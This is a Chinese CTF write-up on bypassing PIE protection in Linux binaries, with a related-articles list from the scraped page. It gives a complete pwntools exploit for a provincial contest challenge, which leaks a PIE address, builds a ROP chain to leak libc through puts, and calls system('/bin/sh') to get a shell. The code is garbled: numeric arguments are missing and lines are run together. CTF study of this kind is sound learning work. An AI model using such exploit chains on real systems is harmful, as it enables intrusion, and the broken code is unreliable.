PIE保护绕过
(一):partial write
开了PIE保护的程序,其低12位地址是固定的,所以我们可以采用partial write。但是我们不能写入一个半字节,所以选择写入两个字节,倒数地位进行爆破,范围是0到f,例如:
list1 = ["x05","x15","x25","x35","x45","x55","x65","x75","x85","x95","xa5","xb5","xc5","xd5","xe5","xf5"]
列表里是第二位字节可能的值,使用循环进行爆破。
(二):泄露地址
PIE 保护机制,影响的是程序加载的基址,并不会影响指令间的相对地址,因此如果我们能够泄露程序的某个地址,就可以通过修改偏移获得程序其它函数的地址。
这是浙江省省赛的一道pwn题,首先查看保护:

发现只有栈溢出没开。
用IDA查看反汇编代码,发现由两处可以输入的地方:

第一处的输入用户名时候

第二处则是在输入算式结果的时候
经过分析发现,在输入用户名时函数并不会给字符串末尾加上 '\0' ,而 puts() 函数是在遇到 '\0' 时结束输出,故我们可以利用这一特性泄露内存。可以采用填充8个字节或16个字节来泄露内存。在使用填充16个字节泄露内存时应注意是 p.send('A'*16) 而非 p.sendline('A'*16),否则多出来的 '\n' 会影响接下来程序的执行。
第二处输入存在明显的栈溢出,故我们可以利用此处构造 payload。完整的exploit如下:
# -*- coding:utf- -*-
from pwn import *
libc = ELF('./libc.so.6') context.log_level = 'debug'
p = process('./uninit')
# libc=ELF('./libc.so.6')
gdb.attach(p)
p.sendafter("name:", 'A'*) # 发送填充16个字节
p.recvuntil('A'*) PIE_addr = p.recvuntil("\n")
PIE_addr = u64(PIE_addr[:-].ljust(, '\x00')) #用u64()解包地址
# PIE_addr=u64(p.readline()[:-].ljust(,'\x00'))
log.success("PIE_addr ==> {:#x}".format(PIE_addr)) base1 = PIE_addr - (0x55e5dce05b39-0x000055e5dce05000) #计算程序加载基地址 pop_rdi_addr = base1 + 0x0000000000000fd3 # pop rdi;的地址,用于构造puts和system函数的参数
puts_plt = base1 + 0x940
offset = 0x30 + 0x8 #覆盖到栈底的填充字节
puts_got = base1 + 0x201F60
start_addr = base1 + 0x9c0 #程序起始运行处的地址
payload = offset*'A' + p64(pop_rdi_addr) + p64(puts_got) + p64(puts_plt)
payload += p64(start_addr)
payload = payload.ljust(0x400, 'A')
#gdb.attach(p)
p.recvuntil("Tell me count of game:")
p.sendline('') p.recvuntil("Answer:")
p.send(payload)
puts_addr = u64(p.recv().ljust(,'\x00')) base2=puts_addr-(0x7ff149172690-0x00007ff149103000) #libc加载基地址 log.success("puts_addr ==> {:#x}".format(puts_addr))
log.success("base2 ==> {:#x}".format(base2)) system_addr=libc.symbols['system']+base2 #system函数的地址
bin_sh_addr=next(libc.search('/bin/sh'))+base2 #‘/bin/sh’的地址
log.success("bin_sh_addr ==> {:#x}".format(bin_sh_addr))
log.success("system_addr ==> {:#x}".format(system_addr)) payload2=offset*'A'+p64(pop_rdi_addr)+p64(bin_sh_addr)+p64(system_addr)
payload2+=p64(start_addr)
payload2=payload2.ljust(0x400,'\x00') #此处用‘\x00’填充是考虑到调用system时需要的环境变量 p.sendlineafter("name:",'A'*)
p.sendlineafter("game:",'')
p.sendafter("Answer:",payload2) p.interactive("countfatcode $")
(三):vdso/vsyscall
尚待补充
————————————————————————————————————————————————————————————————————————————————————————
记录一个跟本篇无关的保护:
RELRO:设置符号重定向表格为只读或在程序启动时就解析并绑定所有动态符号,从而减少对GOT(Global Offset Table)攻击。
- Partial RELRO:ELF节重排,对GOT仍然可写
- Full RELRO:GOT只读
PIE保护绕过的更多相关文章
- pie的绕过方式
目标程序下载 提取码:qk1y 1.检查程序开启了哪些安全保护机制 pie机制简介 PIE(position-independent executable) 是一个针对代码段.text, 数据段.*d ...
- safeseh+dep保护绕过
[文章作者] :h_one [漏洞程序名称]:mplayer.exe [漏洞类型] :缓冲区溢出 [保护方式] :safeseh+dep [操作平台] ...
- Linux保护机制和绕过方式
Linux保护机制和绕过方式 CANNARY(栈保护) 栈溢出保护是一种缓冲区溢出攻击缓解手段,当函数存在缓冲区溢出攻击漏洞时,攻击者可以覆盖栈上的返回地址来让shellcode能够得到执行.用C ...
- Linux保护机制
RELRO(RELocation Read Only) 在Linux中有两种RELRO模式:"Partial RELRO" 和 "Full RELRO".Lin ...
- CTF必备技能丨Linux Pwn入门教程——PIE与bypass思路
Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...
- 蒸米一步一步ROP X64学习笔记
原文地址https://segmentfault.com/a/1190000007406442,源代码地址https://github.com/zhengmin1989/ROP_STEP_BY_STE ...
- pwn入门之栈溢出练习
本文原创作者:W1ngs,本文属i春秋原创奖励计划,未经许可禁止转载!前言:最近在入门pwn的栈溢出,做了一下jarvisoj里的一些ctf pwn题,感觉质量都很不错,难度循序渐进,把自己做题的思路 ...
- Hitcon 2016 Pwn赛题学习
PS:这是我很久以前写的,大概是去年刚结束Hitcon2016时写的.写完之后就丢在硬盘里没管了,最近翻出来才想起来写过这个,索性发出来 0x0 前言 Hitcon个人感觉是高质量的比赛,相比国内的C ...
- linux漏洞分析入门笔记-bypass_PIE
ubuntu 16.04 IDA 7.0 docker 0x00:漏洞分析 1.ASLR的是操作系统的功能选项,作用于executable(ELF)装入内存运行时,因而只能随机化stack.heap. ...
随机推荐
- gotoblas,mpich,hpl,hpcg的安装
gotoblas的安装 mpich 安装 tar zxvf mpich-3.2.1.tar.gz cd mpich-3.2 ./configure --prefix=/usr/local/mpich( ...
- Java编译解释之cmd
一.编译 1. javac 类名.java (在类当前目录下) 2. javac 类的全路径 二.解释 1. java 类名(在类当前目录下) 2. java -cp 类的当前目录路径 类名
- C#LeetCode刷题之#16-最接近的三数之和(3Sum Closest)
目录 问题 示例 分析 问题 该文章的最新版本已迁移至个人博客[比特飞],单击链接 https://www.byteflying.com/archives/3620 访问. 给定一个包括 n 个整数的 ...
- JS的赋值与深浅拷贝实例
赋值 基本类型: 传值,在栈内存中的数据发生数据变化的时候,系统会自动为新的变量分配一个新的之值在栈内存中,两个变量相互独立,互不影响的 引用类型: 传址,只改变指针的指向,指向同一个对象,两个变量相 ...
- 三张图理解JavaScript原型链
- 如何去除List集合中的重复元素?
一.问题由来 在实际开发的时候,我们经常会碰到这么一个问题:一个集合容器里面有很多重复的对象,里面的对象没有主键,或者说忽略主键,根据业务的需求,我们需要根据条件筛选出没有重复的对象. 二.去重操作 ...
- SpringBoot整合Redis、mybatis实战,封装RedisUtils工具类,redis缓存mybatis数据 附源码
创建SpringBoot项目 在线创建方式 网址:https://start.spring.io/ 然后创建Controller.Mapper.Service包 SpringBoot整合Redis 引 ...
- 第3章 SparkSQL解析
第3章 SparkSQL解析 3.1 新的起始点SparkSession 在老的版本中,SparkSQL提供两种SQL查询起始点,一个叫SQLContext,用于Spark自己提供的SQL查询,一个叫 ...
- postman with xdebug
Set the url with ?XDEBUG_SESSION_START=PHPSTORM and set a header Cookie: XDEBUG_SESSION=PHPSTORM
- Z shell (zsh) 安装
1. 安装 zsh 和一些依赖 sudo apt update sudo apt install -y zsh python-pygments autojump 2.下载推荐配置文件 3. 在家目录解 ...